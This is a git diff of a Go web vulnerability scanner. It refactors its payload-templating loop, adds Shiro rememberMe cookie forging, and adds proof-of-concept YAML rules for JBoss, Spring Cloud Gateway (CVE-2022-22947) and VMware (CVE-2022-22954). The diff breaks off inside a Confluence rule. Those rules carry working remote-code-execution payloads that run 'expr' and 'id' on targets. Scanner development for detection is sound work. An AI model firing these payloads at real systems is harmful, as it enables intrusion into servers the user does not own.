continue + } else { + if tmpnum == 0 { + tmpnum = j + } + if j-tmpnum >= 10 { + break + } + } + } + rule1 := cloneRules(rule) + var flag1 bool + var tmpMap StrMap + var payloads = make(map[string]interface{}) + var tmpexpression string + for i, one := range p.Sets { + key, expression := one.Key, item[i] + if key == "payload" { + tmpexpression = expression + } + _, output := evalset1(env, variableMap, key, expression) + payloads[key] = output + } + for _, one := range p.Sets { + flag := false + key := one.Key + value := fmt.Sprintf("%v", payloads[key]) for k2, v2 := range rule1.Headers { - rule1.Headers[k2] = strings.ReplaceAll(v2, "{{"+keys[0]+"}}", var1) + if strings.Contains(v2, "{{"+key+"}}") { + rule1.Headers[k2] = strings.ReplaceAll(v2, "{{"+key+"}}", value) + flag = true + } } - rule1.Path = strings.ReplaceAll(strings.TrimSpace(rule1.Path), "{{"+keys[0]+"}}", var1) - rule1.Body = strings.ReplaceAll(strings.TrimSpace(rule1.Body), "{{"+keys[0]+"}}", var1) - success, err = clustersend(oReq, variableMap, req, env, rule1) - if err != nil { - return false, err + if strings.Contains(rule1.Path, "{{"+key+"}}") { + rule1.Path = strings.ReplaceAll(rule1.Path, "{{"+key+"}}", value) + flag = true } - if success == true { - break look1 + if strings.Contains(rule1.Body, "{{"+key+"}}") { + rule1.Body = strings.ReplaceAll(rule1.Body, "{{"+key+"}}", value) + flag = true + } + if flag { + flag1 = true + if key == "payload" { + var flag2 bool + for k, v := range variableMap { + if strings.Contains(tmpexpression, k) { + flag2 = true + tmpMap = append(tmpMap, StrItem{k, fmt.Sprintf("%v", v)}) + } + } + if flag2 { + continue + } + } + tmpMap = append(tmpMap, StrItem{key, value}) } } - if success == false { - break + if !flag1 { + continue + } + has := md5.Sum([]byte(fmt.Sprintf("%v", rule1))) + md5str := fmt.Sprintf("%x", has) + if _, ok := ruleHash[md5str]; ok { + continue + } + ruleHash[md5str] = struct{}{} + success, err = clustersend(oReq, variableMap, req, env, rule1) + if err != nil { + return false, err + } + if success { + if rule.Continue { + if p.Name == "poc-yaml-backup-file" || p.Name == "poc-yaml-sql-file" { + common.LogSuccess(fmt.Sprintf("[+] %s://%s%s %s", req.Url.Scheme, req.Url.Host, req.Url.Path, p.Name)) + } else { + common.LogSuccess(fmt.Sprintf("[+] %s://%s%s %s %v", req.Url.Scheme, req.Url.Host, req.Url.Path, p.Name, tmpMap)) + } + continue + } + strMap = append(strMap, tmpMap...) + if i == len(p.Rules)-1 { + common.LogSuccess(fmt.Sprintf("[+] %s://%s%s %s %v", req.Url.Scheme, req.Url.Host, req.Url.Path, p.Name, strMap)) + //防止后续继续打印poc成功信息 + return false, nil + } + break look } } - - if slen == 2 { - look2: - for _, var1 := range p.Sets[keys[0]] { - for _, var2 := range p.Sets[keys[1]] { - rule1 := cloneRules(rule) - for k2, v2 := range rule1.Headers { - rule1.Headers[k2] = strings.ReplaceAll(v2, "{{"+keys[0]+"}}", var1) - rule1.Headers[k2] = strings.ReplaceAll(rule1.Headers[k2], "{{"+keys[1]+"}}", var2) - } - rule1.Path = strings.ReplaceAll(strings.TrimSpace(rule1.Path), "{{"+keys[0]+"}}", var1) - rule1.Body = strings.ReplaceAll(strings.TrimSpace(rule1.Body), "{{"+keys[0]+"}}", var1) - rule1.Path = strings.ReplaceAll(strings.TrimSpace(rule1.Path), "{{"+keys[1]+"}}", var2) - rule1.Body = strings.ReplaceAll(strings.TrimSpace(rule1.Body), "{{"+keys[1]+"}}", var2) - success, err = clustersend(oReq, variableMap, req, env, rule1) - if err != nil { - return false, err - } - if success == true { - break look2 - } - } - } - if success == false { - break - } + if !success { + break } - - if slen == 3 { - look3: - for _, var1 := range p.Sets[keys[0]] { - for _, var2 := range p.Sets[keys[1]] { - for _, var3 := range p.Sets[keys[2]] { - rule1 := cloneRules(rule) - for k2, v2 := range rule1.Headers { - rule1.Headers[k2] = strings.ReplaceAll(v2, "{{"+keys[0]+"}}", var1) - rule1.Headers[k2] = strings.ReplaceAll(rule1.Headers[k2], "{{"+keys[1]+"}}", var2) - rule1.Headers[k2] = strings.ReplaceAll(rule1.Headers[k2], "{{"+keys[2]+"}}", var3) - } - rule1.Path = strings.ReplaceAll(strings.TrimSpace(rule1.Path), "{{"+keys[0]+"}}", var1) - rule1.Body = strings.ReplaceAll(strings.TrimSpace(rule1.Body), "{{"+keys[0]+"}}", var1) - rule1.Path = strings.ReplaceAll(strings.TrimSpace(rule1.Path), "{{"+keys[1]+"}}", var2) - rule1.Body = strings.ReplaceAll(strings.TrimSpace(rule1.Body), "{{"+keys[1]+"}}", var2) - rule1.Path = strings.ReplaceAll(strings.TrimSpace(rule1.Path), "{{"+keys[2]+"}}", var3) - rule1.Body = strings.ReplaceAll(strings.TrimSpace(rule1.Body), "{{"+keys[2]+"}}", var3) - success, err = clustersend(oReq, variableMap, req, env, rule) - if err != nil { - return false, err - } - if success == true { - break look3 - } - } - } - } - if success == false { - break - } + if rule.Continue { + //防止后续继续打印poc成功信息 + return false, nil } } return success, nil } -func clusterpoc1(oReq *http.Request, p *Poc, variableMap map[string]interface{}, req *Request, env *cel.Env, keys []string) (success bool, err error) { - setMap := make(map[string]interface{}) - for k := range p.Sets { - setMap[k] = p.Sets[k][0] - } - setMapbak := cloneMap1(setMap) - for _, rule := range p.Rules { - for k1, v1 := range variableMap { - if IsContain(keys, k1) { - continue - } - _, isMap := v1.(map[string]string) - if isMap { - continue - } - value := fmt.Sprintf("%v", v1) - for k2, v2 := range rule.Headers { - rule.Headers[k2] = strings.ReplaceAll(v2, "{{"+k1+"}}", value) - } - rule.Path = strings.ReplaceAll(strings.TrimSpace(rule.Path), "{{"+k1+"}}", value) - rule.Body = strings.ReplaceAll(strings.TrimSpace(rule.Body), "{{"+k1+"}}", value) - } - - varset := []string{} - varpay := []string{} - n := 0 - for k := range p.Sets { - // 1. 如果rule中需要修改 {{k}} 如username、payload - if strings.Contains(rule.Body, "{{"+k+"}}") || strings.Contains(rule.Path, "{{"+k+"}}") { - if strings.Contains(k, "payload") { - varpay = append(varpay, k) - } else { - varset = append(varset, k) - } - n++ - continue - } - for k2 := range rule.Headers { - if strings.Contains(rule.Headers[k2], "{{"+k+"}}") { - if strings.Contains(k, "payload") { - varpay = append(varpay, k) - } else { - varset = append(varset, k) - } - n++ - continue - } +func isFuzz(rule Rules, Sets ListMap) bool { + for _, one := range Sets { + key := one.Key + for _, v := range rule.Headers { + if strings.Contains(v, "{{"+key+"}}") { + return true } } - - for _, key := range varpay { - v := fmt.Sprintf("%s", setMap[key]) - for k := range p.Sets { - if strings.Contains(v, k) { - if !IsContain(varset, k) && !IsContain(varpay, k) { - varset = append(varset, k) - } - } - } + if strings.Contains(rule.Path, "{{"+key+"}}") { + return true } - if n == 0 { - success, err = clustersend(oReq, variableMap, req, env, rule) - if err != nil { - return false, err - } - if success == false { - break - } - } - if len(varset) == 1 { - look1: - // (var1 tomcat ,keys[0] username) - for _, var1 := range p.Sets[varset[0]] { - setMap := cloneMap1(setMapbak) - setMap[varset[0]] = var1 - evalset(env, setMap) - rule1 := cloneRules(rule) - for k2, v2 := range rule1.Headers { - rule1.Headers[k2] = strings.ReplaceAll(v2, "{{"+varset[0]+"}}", var1) - for _, key := range varpay { - rule1.Headers[k2] = strings.ReplaceAll(rule1.Headers[k2], "{{"+key+"}}", fmt.Sprintf("%v", setMap[key])) - } - } - rule1.Path = strings.ReplaceAll(strings.TrimSpace(rule1.Path), "{{"+varset[0]+"}}", var1) - rule1.Body = strings.ReplaceAll(strings.TrimSpace(rule1.Body), "{{"+varset[0]+"}}", var1) - for _, key := range varpay { - rule1.Path = strings.ReplaceAll(strings.TrimSpace(rule1.Path), "{{"+key+"}}", fmt.Sprintf("%v", setMap[key])) - rule1.Body = strings.ReplaceAll(strings.TrimSpace(rule1.Body), "{{"+key+"}}", fmt.Sprintf("%v", setMap[key])) - } - success, err = clustersend(oReq, variableMap, req, env, rule) - if err != nil { - return false, err - } - - if success == true { - common.LogSuccess(fmt.Sprintf("[+] %s://%s%s %s", req.Url.Scheme, req.Url.Host, req.Url.Path, var1)) - break look1 - } - } - if success == false { - break - } - } - - if len(varset) == 2 { - look2: - // (var1 tomcat ,keys[0] username) - for _, var1 := range p.Sets[varset[0]] { //username - for _, var2 := range p.Sets[varset[1]] { //password - setMap := cloneMap1(setMapbak) - setMap[varset[0]] = var1 - setMap[varset[1]] = var2 - evalset(env, setMap) - rule1 := cloneRules(rule) - for k2, v2 := range rule1.Headers { - rule1.Headers[k2] = strings.ReplaceAll(v2, "{{"+varset[0]+"}}", var1) - rule1.Headers[k2] = strings.ReplaceAll(rule1.Headers[k2], "{{"+varset[1]+"}}", var2) - for _, key := range varpay { - rule1.Headers[k2] = strings.ReplaceAll(rule1.Headers[k2], "{{"+key+"}}", fmt.Sprintf("%v", setMap[key])) - } - } - rule1.Path = strings.ReplaceAll(strings.TrimSpace(rule1.Path), "{{"+varset[0]+"}}", var1) - rule1.Body = strings.ReplaceAll(strings.TrimSpace(rule1.Body), "{{"+varset[0]+"}}", var1) - rule1.Path = strings.ReplaceAll(strings.TrimSpace(rule1.Path), "{{"+varset[1]+"}}", var2) - rule1.Body = strings.ReplaceAll(strings.TrimSpace(rule1.Body), "{{"+varset[1]+"}}", var2) - for _, key := range varpay { - rule1.Path = strings.ReplaceAll(strings.TrimSpace(rule1.Path), "{{"+key+"}}", fmt.Sprintf("%v", setMap[key])) - rule1.Body = strings.ReplaceAll(strings.TrimSpace(rule1.Body), "{{"+key+"}}", fmt.Sprintf("%v", setMap[key])) - } - success, err = clustersend(oReq, variableMap, req, env, rule1) - if err != nil { - return false, err - } - if success == true { - common.LogSuccess(fmt.Sprintf("[+] %s://%s%s %s %s", req.Url.Scheme, req.Url.Host, req.Url.Path, var1, var2)) - break look2 - } - } - } - if success == false { - break - } - } - - if len(varset) == 3 { - look3: - for _, var1 := range p.Sets[keys[0]] { - for _, var2 := range p.Sets[keys[1]] { - for _, var3 := range p.Sets[keys[2]] { - setMap := cloneMap1(setMapbak) - setMap[varset[0]] = var1 - setMap[varset[1]] = var2 - evalset(env, setMap) - rule1 := cloneRules(rule) - for k2, v2 := range rule1.Headers { - rule1.Headers[k2] = strings.ReplaceAll(v2, "{{"+keys[0]+"}}", var1) - rule1.Headers[k2] = strings.ReplaceAll(rule1.Headers[k2], "{{"+keys[1]+"}}", var2) - rule1.Headers[k2] = strings.ReplaceAll(rule1.Headers[k2], "{{"+keys[2]+"}}", var3) - for _, key := range varpay { - rule1.Headers[k2] = strings.ReplaceAll(rule1.Headers[k2], "{{"+key+"}}", fmt.Sprintf("%v", setMap[key])) - } - } - rule1.Path = strings.ReplaceAll(strings.TrimSpace(rule1.Path), "{{"+keys[0]+"}}", var1) - rule1.Body = strings.ReplaceAll(strings.TrimSpace(rule1.Body), "{{"+keys[0]+"}}", var1) - rule1.Path = strings.ReplaceAll(strings.TrimSpace(rule1.Path), "{{"+keys[1]+"}}", var2) - rule1.Body = strings.ReplaceAll(strings.TrimSpace(rule1.Body), "{{"+keys[1]+"}}", var2) - rule1.Path = strings.ReplaceAll(strings.TrimSpace(rule1.Path), "{{"+keys[2]+"}}", var3) - rule1.Body = strings.ReplaceAll(strings.TrimSpace(rule1.Body), "{{"+keys[2]+"}}", var3) - for _, key := range varpay { - rule1.Path = strings.ReplaceAll(strings.TrimSpace(rule1.Path), "{{"+key+"}}", fmt.Sprintf("%v", setMap[key])) - rule1.Body = strings.ReplaceAll(strings.TrimSpace(rule1.Body), "{{"+key+"}}", fmt.Sprintf("%v", setMap[key])) - } - success, err = clustersend(oReq, variableMap, req, env, rule) - if err != nil { - return false, err - } - if success == true { - common.LogSuccess(fmt.Sprintf("[+] %s://%s%s %s %s %s", req.Url.Scheme, req.Url.Host, req.Url.Path, var1, var2, var3)) - break look3 - } - } - } - } - if success == false { - break - } + if strings.Contains(rule.Body, "{{"+key+"}}") { + return true } } - return success, nil + return false +} + +func Combo(input ListMap) (output [][]string) { + if len(input) > 1 { + output = Combo(input[1:]) + output = MakeData(output, input[0].Value) + } else { + for _, i := range input[0].Value { + output = append(output, []string{i}) + } + } + return +} + +func MakeData(base [][]string, nextData []string) (output [][]string) { + for i := range base { + for _, j := range nextData { + output = append(output, append([]string{j}, base[i]...)) + } + } + return } func clustersend(oReq *http.Request, variableMap map[string]interface{}, req *Request, env *cel.Env, rule Rules) (bool, error) { + for k1, v1 := range variableMap { + _, isMap := v1.(map[string]string) + if isMap { + continue + } + value := fmt.Sprintf("%v", v1) + for k2, v2 := range rule.Headers { + if strings.Contains(v2, "{{"+k1+"}}") { + rule.Headers[k2] = strings.ReplaceAll(v2, "{{"+k1+"}}", value) + } + } + rule.Path = strings.ReplaceAll(strings.TrimSpace(rule.Path), "{{"+k1+"}}", value) + rule.Body = strings.ReplaceAll(strings.TrimSpace(rule.Body), "{{"+k1+"}}", value) + } if oReq.URL.Path != "" && oReq.URL.Path != "/" { req.Url.Path = fmt.Sprint(oReq.URL.Path, rule.Path) } else { @@ -619,14 +420,19 @@ func clustersend(oReq *http.Request, variableMap map[string]interface{}, req *Re } // 某些poc没有区分path和query,需要处理 req.Url.Path = strings.ReplaceAll(req.Url.Path, " ", "%20") - req.Url.Path = strings.ReplaceAll(req.Url.Path, "+", "%20") - - newRequest, _ := http.NewRequest(rule.Method, fmt.Sprintf("%s://%s%s", req.Url.Scheme, req.Url.Host, req.Url.Path), strings.NewReader(rule.Body)) + //req.Url.Path = strings.ReplaceAll(req.Url.Path, "+", "%20") + // + newRequest, err := http.NewRequest(rule.Method, fmt.Sprintf("%s://%s%s", req.Url.Scheme, req.Url.Host, req.Url.Path), strings.NewReader(rule.Body)) + if err != nil { + //fmt.Println("[-] newRequest error:",err) + return false, err + } newRequest.Header = oReq.Header.Clone() for k, v := range rule.Headers { newRequest.Header.Set(k, v) } resp, err := DoRequest(newRequest, rule.FollowRedirects) + newRequest = nil if err != nil { return false, err } @@ -643,9 +449,11 @@ func clustersend(oReq *http.Request, variableMap map[string]interface{}, req *Re return false, nil } } - out, err := Evaluate(env, rule.Expression, variableMap) if err != nil { + if strings.Contains(err.Error(), "Syntax error") { + fmt.Println(rule.Expression, err) + } return false, err } //fmt.Println(fmt.Sprintf("%v, %s", out, out.Type().TypeName())) @@ -675,58 +483,31 @@ func cloneMap(tags map[string]string) map[string]string { return cloneTags } -func cloneMap1(tags map[string]interface{}) map[string]interface{} { - cloneTags := make(map[string]interface{}) - for k, v := range tags { - cloneTags[k] = v +func evalset(env *cel.Env, variableMap map[string]interface{}, k string, expression string) (err error, output string) { + out, err := Evaluate(env, expression, variableMap) + if err != nil { + variableMap[k] = expression + } else { + switch value := out.Value().(type) { + case *UrlType: + variableMap[k] = UrlTypeToString(value) + case int64: + variableMap[k] = int(value) + default: + variableMap[k] = fmt.Sprintf("%v", out) + } } - return cloneTags + return err, fmt.Sprintf("%v", variableMap[k]) } -func IsContain(items []string, item string) bool { - for _, eachItem := range items { - if eachItem == item { - return true - } - } - return false -} - -func evalset(env *cel.Env, variableMap map[string]interface{}) { - for k := range variableMap { - expression := fmt.Sprintf("%v", variableMap[k]) - if !strings.Contains(k, "payload") { - out, err := Evaluate(env, expression, variableMap) - if err != nil { - //fmt.Println(err) - variableMap[k] = expression - continue - } - switch value := out.Value().(type) { - case *UrlType: - variableMap[k] = UrlTypeToString(value) - case int64: - variableMap[k] = fmt.Sprintf("%v", value) - case []uint8: - variableMap[k] = fmt.Sprintf("%v", out) - default: - variableMap[k] = fmt.Sprintf("%v", out) - } - } - } - - for k := range variableMap { - expression := fmt.Sprintf("%v", variableMap[k]) - if strings.Contains(k, "payload") { - out, err := Evaluate(env, expression, variableMap) - if err != nil { - //fmt.Println(err) - variableMap[k] = expression - } else { - variableMap[k] = fmt.Sprintf("%v", out) - } - } +func evalset1(env *cel.Env, variableMap map[string]interface{}, k string, expression string) (err error, output string) { + out, err := Evaluate(env, expression, variableMap) + if err != nil { + variableMap[k] = expression + } else { + variableMap[k] = fmt.Sprintf("%v", out) } + return err, fmt.Sprintf("%v", variableMap[k]) } func CheckInfoPoc(infostr string) string { diff --git a/WebScan/lib/eval.go b/WebScan/lib/eval.go index ecd71ed..403dd0e 100644 --- a/WebScan/lib/eval.go +++ b/WebScan/lib/eval.go @@ -5,6 +5,7 @@ import ( "compress/gzip" "crypto/md5" "encoding/base64" + "encoding/hex" "fmt" "github.com/google/cel-go/cel" "github.com/google/cel-go/checker/decls" @@ -175,6 +176,26 @@ func NewEnvOption() CustomLib { decls.NewInstanceOverload("icontains_string", []*exprpb.Type{decls.String, decls.String}, decls.Bool)), + decls.NewFunction("TDdate", + decls.NewOverload("tongda_date", + []*exprpb.Type{}, + decls.String)), + decls.NewFunction("shirokey", + decls.NewOverload("shiro_key", + []*exprpb.Type{decls.String, decls.String}, + decls.String)), + decls.NewFunction("startsWith", + decls.NewInstanceOverload("startsWith_bytes", + []*exprpb.Type{decls.Bytes, decls.Bytes}, + decls.Bool)), + decls.NewFunction("istartsWith", + decls.NewInstanceOverload("startsWith_string", + []*exprpb.Type{decls.String, decls.String}, + decls.Bool)), + decls.NewFunction("hexdecode", + decls.NewInstanceOverload("hexdecode", + []*exprpb.Type{decls.String}, + decls.Bytes)), ), } c.programOptions = []cel.ProgramOption{ @@ -407,6 +428,75 @@ func NewEnvOption() CustomLib { return types.Bool(strings.Contains(strings.ToLower(string(v1)), strings.ToLower(string(v2)))) }, }, + &functions.Overload{ + Operator: "tongda_date", + Function: func(value ...ref.Val) ref.Val { + return types.String(time.Now().Format("0601")) + }, + }, + &functions.Overload{ + Operator: "shiro_key", + Binary: func(key ref.Val, mode ref.Val) ref.Val { + v1, ok := key.(types.String) + if !ok { + return types.ValOrErr(key, "unexpected type '%v' passed to shiro_key", key.Type()) + } + v2, ok := mode.(types.String) + if !ok { + return types.ValOrErr(mode, "unexpected type '%v' passed to shiro_mode", mode.Type()) + } + cookie := GetShrioCookie(string(v1), string(v2)) + if cookie == "" { + return types.NewErr("%v", "key b64decode failed") + } + return types.String(cookie) + }, + }, + &functions.Overload{ + Operator: "startsWith_bytes", + Binary: func(lhs ref.Val, rhs ref.Val) ref.Val { + v1, ok := lhs.(types.Bytes) + if !ok { + return types.ValOrErr(lhs, "unexpected type '%v' passed to startsWith_bytes", lhs.Type()) + } + v2, ok := rhs.(types.Bytes) + if !ok { + return types.ValOrErr(rhs, "unexpected type '%v' passed to startsWith_bytes", rhs.Type()) + } + // 不区分大小写包含 + return types.Bool(bytes.HasPrefix(v1, v2)) + }, + }, + &functions.Overload{ + Operator: "startsWith_string", + Binary: func(lhs ref.Val, rhs ref.Val) ref.Val { + v1, ok := lhs.(types.String) + if !ok { + return types.ValOrErr(lhs, "unexpected type '%v' passed to startsWith_string", lhs.Type()) + } + v2, ok := rhs.(types.String) + if !ok { + return types.ValOrErr(rhs, "unexpected type '%v' passed to startsWith_string", rhs.Type()) + } + // 不区分大小写包含 + return types.Bool(strings.HasPrefix(strings.ToLower(string(v1)), strings.ToLower(string(v2)))) + }, + }, + &functions.Overload{ + Operator: "hexdecode", + Unary: func(lhs ref.Val) ref.Val { + v1, ok := lhs.(types.String) + if !ok { + return types.ValOrErr(lhs, "unexpected type '%v' passed to hexdecode", lhs.Type()) + } + out, err := hex.DecodeString(string(v1)) + if err != nil { + return types.ValOrErr(lhs, "hexdecode error: %v", err) + } + // 不区分大小写包含 + return types.Bytes(out) + }, + }, ), } return c @@ -421,8 +511,9 @@ func (c *CustomLib) ProgramOptions() []cel.ProgramOption { return c.programOptions } -func (c *CustomLib) UpdateCompileOptions(args map[string]string) { - for k, v := range args { +func (c *CustomLib) UpdateCompileOptions(args StrMap) { + for _, item := range args { + k, v := item.Key, item.Value // 在执行之前是不知道变量的类型的,所以统一声明为字符型 // 所以randomInt虽然返回的是int型,在运算中却被当作字符型进行计算,需要重载string_*_string var d *exprpb.Decl @@ -456,7 +547,7 @@ func reverseCheck(r *Reverse, timeout int64) bool { time.Sleep(time.Second * time.Duration(timeout)) sub := strings.Split(r.Domain, ".")[0] urlStr := fmt.Sprintf("http://api.ceye.io/v1/records?token=%s&type=dns&filter=%s", ceyeApi, sub) - fmt.Println(urlStr) + //fmt.Println(urlStr) req, _ := http.NewRequest("GET", urlStr, nil) resp, err := DoRequest(req, false) if err != nil { @@ -508,11 +599,13 @@ func DoRequest(req *http.Request, redirect bool) (*Response, error) { oResp, err = ClientNoRedirect.Do(req) } if err != nil { + fmt.Println(err) return nil, err } defer oResp.Body.Close() resp, err := ParseResponse(oResp) if err != nil { + fmt.Println(err) return nil, err } return resp, err @@ -591,7 +684,7 @@ func getRespBody(oResp *http.Response) ([]byte, error) { body = append(body, buf...) } } else { - raw, err := ioutil.ReadAll(io.LimitReader(oResp.Body, int64(5<<20))) + raw, err := ioutil.ReadAll(io.LimitReader(oResp.Body, 10240)) if err != nil { return nil, err } diff --git a/WebScan/lib/http.pb.go b/WebScan/lib/http.pb.go index e2d1cd1..82235c6 100644 --- a/WebScan/lib/http.pb.go +++ b/WebScan/lib/http.pb.go @@ -7,19 +7,98 @@ import ( "embed" "fmt" "github.com/golang/protobuf/proto" - "gopkg.in/yaml.v3" + "gopkg.in/yaml.v2" "io/ioutil" "math" "strings" ) type Poc struct { - Name string `yaml:"name"` - Set map[string]string `yaml:"set"` - Sets map[string][]string `yaml:"sets"` - Rules []Rules `yaml:"rules"` - Groups map[string][]Rules `yaml:"groups"` - Detail Detail `yaml:"detail"` + Name string `yaml:"name"` + Set StrMap `yaml:"set"` + Sets ListMap `yaml:"sets"` + Rules []Rules `yaml:"rules"` + Groups RuleMap `yaml:"groups"` + Detail Detail `yaml:"detail"` +} + +type MapSlice = yaml.MapSlice + +type StrMap []StrItem +type ListMap []ListItem +type RuleMap []RuleItem + +type StrItem struct { + Key, Value string +} + +type ListItem struct { + Key string + Value []string +} + +type RuleItem struct { + Key string + Value []Rules +} + +func (r *StrMap) UnmarshalYAML(unmarshal func(interface{}) error) error { + var tmp yaml.MapSlice + if err := unmarshal(&tmp); err != nil { + return err + } + for _, one := range tmp { + key, value := one.Key.(string), one.Value.(string) + *r = append(*r, StrItem{key, value}) + } + return nil +} + +//func (r *RuleItem) UnmarshalYAML(unmarshal func(interface{}) error) error { +// var tmp yaml.MapSlice +// if err := unmarshal(&tmp); err != nil { +// return err +// } +// //for _,one := range tmp{ +// // key,value := one.Key.(string),one.Value.(string) +// // *r = append(*r,StrItem{key,value}) +// //} +// return nil +//} + +func (r *RuleMap) UnmarshalYAML(unmarshal func(interface{}) error) error { + var tmp1 yaml.MapSlice + if err := unmarshal(&tmp1); err != nil { + return err + } + var tmp = make(map[string][]Rules) + if err := unmarshal(&tmp); err != nil { + return err + } + + for _, one := range tmp1 { + key := one.Key.(string) + value := tmp[key] + *r = append(*r, RuleItem{key, value}) + } + return nil +} + +func (r *ListMap) UnmarshalYAML(unmarshal func(interface{}) error) error { + var tmp yaml.MapSlice + if err := unmarshal(&tmp); err != nil { + return err + } + for _, one := range tmp { + key := one.Key.(string) + var value []string + for _, val := range one.Value.([]interface{}) { + v := fmt.Sprintf("%v", val) + value = append(value, v) + } + *r = append(*r, ListItem{key, value}) + } + return nil } type Rules struct { @@ -30,6 +109,7 @@ type Rules struct { Search string `yaml:"search"` FollowRedirects bool `yaml:"follow_redirects"` Expression string `yaml:"expression"` + Continue bool `yaml:"continue"` } type Detail struct { @@ -400,12 +480,12 @@ func LoadPoc(fileName string, Pocs embed.FS) (*Poc, error) { yamlFile, err := Pocs.ReadFile("pocs/" + fileName) if err != nil { - fmt.Printf("[-] load poc %s error: %v", fileName, err) + fmt.Printf("[-] load poc %s error1: %v\n", fileName, err) return nil, err } err = yaml.Unmarshal(yamlFile, p) if err != nil { - fmt.Printf("[-] load poc %s error: %v", fileName, err) + fmt.Printf("[-] load poc %s error2: %v\n", fileName, err) return nil, err } return p, err @@ -429,12 +509,12 @@ func LoadPocbyPath(fileName string) (*Poc, error) { p := &Poc{} data, err := ioutil.ReadFile(fileName) if err != nil { - fmt.Printf("[-] load poc %s error: %v", fileName, err) + fmt.Printf("[-] load poc %s error3: %v\n", fileName, err) return nil, err } err = yaml.Unmarshal(data, p) if err != nil { - fmt.Printf("[-] load poc %s error: %v", fileName, err) + fmt.Printf("[-] load poc %s error4: %v\n", fileName, err) return nil, err } return p, err diff --git a/WebScan/lib/shiro.go b/WebScan/lib/shiro.go new file mode 100644 index 0000000..4e3503d --- /dev/null +++ b/WebScan/lib/shiro.go @@ -0,0 +1,73 @@ +package lib + +import ( + "bytes" + "crypto/aes" + "crypto/cipher" + "crypto/rand" + "encoding/base64" + "io" + + uuid "github.com/satori/go.uuid" +) + +var ( + CheckContent = "rO0ABXNyADJvcmcuYXBhY2hlLnNoaXJvLnN1YmplY3QuU2ltcGxlUHJpbmNpcGFsQ29sbGVjdGlvbqh/WCXGowhKAwABTAAPcmVhbG1QcmluY2lwYWxzdAAPTGphdmEvdXRpbC9NYXA7eHBwdwEAeA==" + Content, _ = base64.StdEncoding.DecodeString(CheckContent) +) + +func Padding(plainText []byte, blockSize int) []byte { + //计算要填充的长度 + n := (blockSize - len(plainText)%blockSize) + //对原来的明文填充n个n + temp := bytes.Repeat([]byte{byte(n)}, n) + plainText = append(plainText, temp...) + return plainText +} + +func GetShrioCookie(key, mode string) string { + if mode == "gcm" { + return AES_GCM_Encrypt(key) + } else { + //cbc + return AES_CBC_Encrypt(key) + } +} + +//AES CBC加密后的payload +func AES_CBC_Encrypt(shirokey string) string { + key, err := base64.StdEncoding.DecodeString(shirokey) + if err != nil { + return "" + } + block, err := aes.NewCipher(key) + if err != nil { + return "" + } + Content = Padding(Content, block.BlockSize()) + iv := uuid.NewV4().Bytes() //指定初始向量vi,长度和block的块尺寸一致 + blockMode := cipher.NewCBCEncrypter(block, iv) //指定CBC分组模式,返回一个BlockMode接口对象 + cipherText := make([]byte, len(Content)) + blockMode.CryptBlocks(cipherText, Content) //加密数据 + return base64.StdEncoding.EncodeToString(append(iv[:], cipherText[:]...)) +} + +//AES GCM 加密后的payload shiro 1.4.2版本更换为了AES-GCM加密方式 +func AES_GCM_Encrypt(shirokey string) string { + key, err := base64.StdEncoding.DecodeString(shirokey) + if err != nil { + return "" + } + block, err := aes.NewCipher(key) + if err != nil { + return "" + } + nonce := make([]byte, 16) + _, err = io.ReadFull(rand.Reader, nonce) + if err != nil { + return "" + } + aesgcm, _ := cipher.NewGCMWithNonceSize(block, 16) + ciphertext := aesgcm.Seal(nil, nonce, Content, nil) + return base64.StdEncoding.EncodeToString(append(nonce, ciphertext...)) +} diff --git a/WebScan/pocs/CVE-2017-7504-Jboss-serialization-RCE.yml b/WebScan/pocs/CVE-2017-7504-Jboss-serialization-RCE.yml new file mode 100644 index 0000000..da06f09 --- /dev/null +++ b/WebScan/pocs/CVE-2017-7504-Jboss-serialization-RCE.yml @@ -0,0 +1,11 @@ +name: poc-yaml-CVE-2017-7504-Jboss-serialization-RCE +rules: + - method: GET + path: /jbossmq-httpil/HTTPServerILServlet + expression: | + response.status == 200 && response.body.bcontains(b'This is the JBossMQ HTTP-IL') +detail: + author: mamba + description: "CVE-2017-7504-Jboss-serialization-RCE by chaosec公众号" + links: + - https://github.com/chaosec2021 diff --git a/WebScan/pocs/CVE-2022-22947.yml b/WebScan/pocs/CVE-2022-22947.yml new file mode 100644 index 0000000..a2f2fc3 --- /dev/null +++ b/WebScan/pocs/CVE-2022-22947.yml @@ -0,0 +1,44 @@ +name: Spring-Cloud-CVE-2022-22947 +set: + router: randomLowercase(8) + rand1: randomInt(800000000, 1000000000) + rand2: randomInt(800000000, 1000000000) +rules: + - method: POST + path: /actuator/gateway/routes/{{router}} + headers: + Content-Type: application/json + body: | + { + "id": "{{router}}", + "filters": [{ + "name": "AddResponseHeader", + "args": {"name": "Result","value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"expr\",\"{{rand1}}\",\"+\",\"{{rand2}}\"}).getInputStream()))}"} + }], + "uri": "http://example.com", + "order": 0 + } + expression: response.status == 201 + - method: POST + path: /actuator/gateway/refresh + headers: + Content-Type: application/json + expression: response.status == 200 + - method: GET + path: /actuator/gateway/routes/{{router}} + headers: + Content-Type: application/json + expression: response.status == 200 && response.body.bcontains(bytes(string(rand1 + rand2))) + - method: DELETE + path: /actuator/gateway/routes/{{router}} + expression: response.status == 200 + - method: POST + path: /actuator/gateway/refresh + headers: + Content-Type: application/json + expression: response.status == 200 +detail: + author: jweny + description: Spring Cloud Gateway Code Injection + links: + - https://mp.weixin.qq.com/s/qIAcycsO_L9JKisG5Bgg_w diff --git a/WebScan/pocs/CVE-2022-22954-VMware-RCE.yml b/WebScan/pocs/CVE-2022-22954-VMware-RCE.yml new file mode 100644 index 0000000..f15af4c --- /dev/null +++ b/WebScan/pocs/CVE-2022-22954-VMware-RCE.yml @@ -0,0 +1,11 @@ +name: poc-yaml-CVE-2022-22954-VMware-RCE +rules: + - method: GET + path: /catalog-portal/ui/oauth/verify?error=&deviceUdid=%24%7b"freemarker%2etemplate%2eutility%2eExecute"%3fnew%28%29%28"id"%29%7d + expression: | + response.status == 400 && "device id:".bmatches(response.body) +detail: + author: mamba + description: "CVE-2022-22954-VMware-RCE by chaosec公众号" + links: + - https://github.com/chaosec2021 diff --git a/WebScan/pocs/CVE-2022-26134.yml b/WebScan/pocs/CVE-2022-26134.yml new file mode 100644 index 0000000..8e7469b --- /dev/null +++ b/WebScan/pocs/CVE-2022-26134.yml @@ -0,0 +1,16 @@ +name: Confluence-CVE-2022-26134 + +rules: + - method: GET + path: 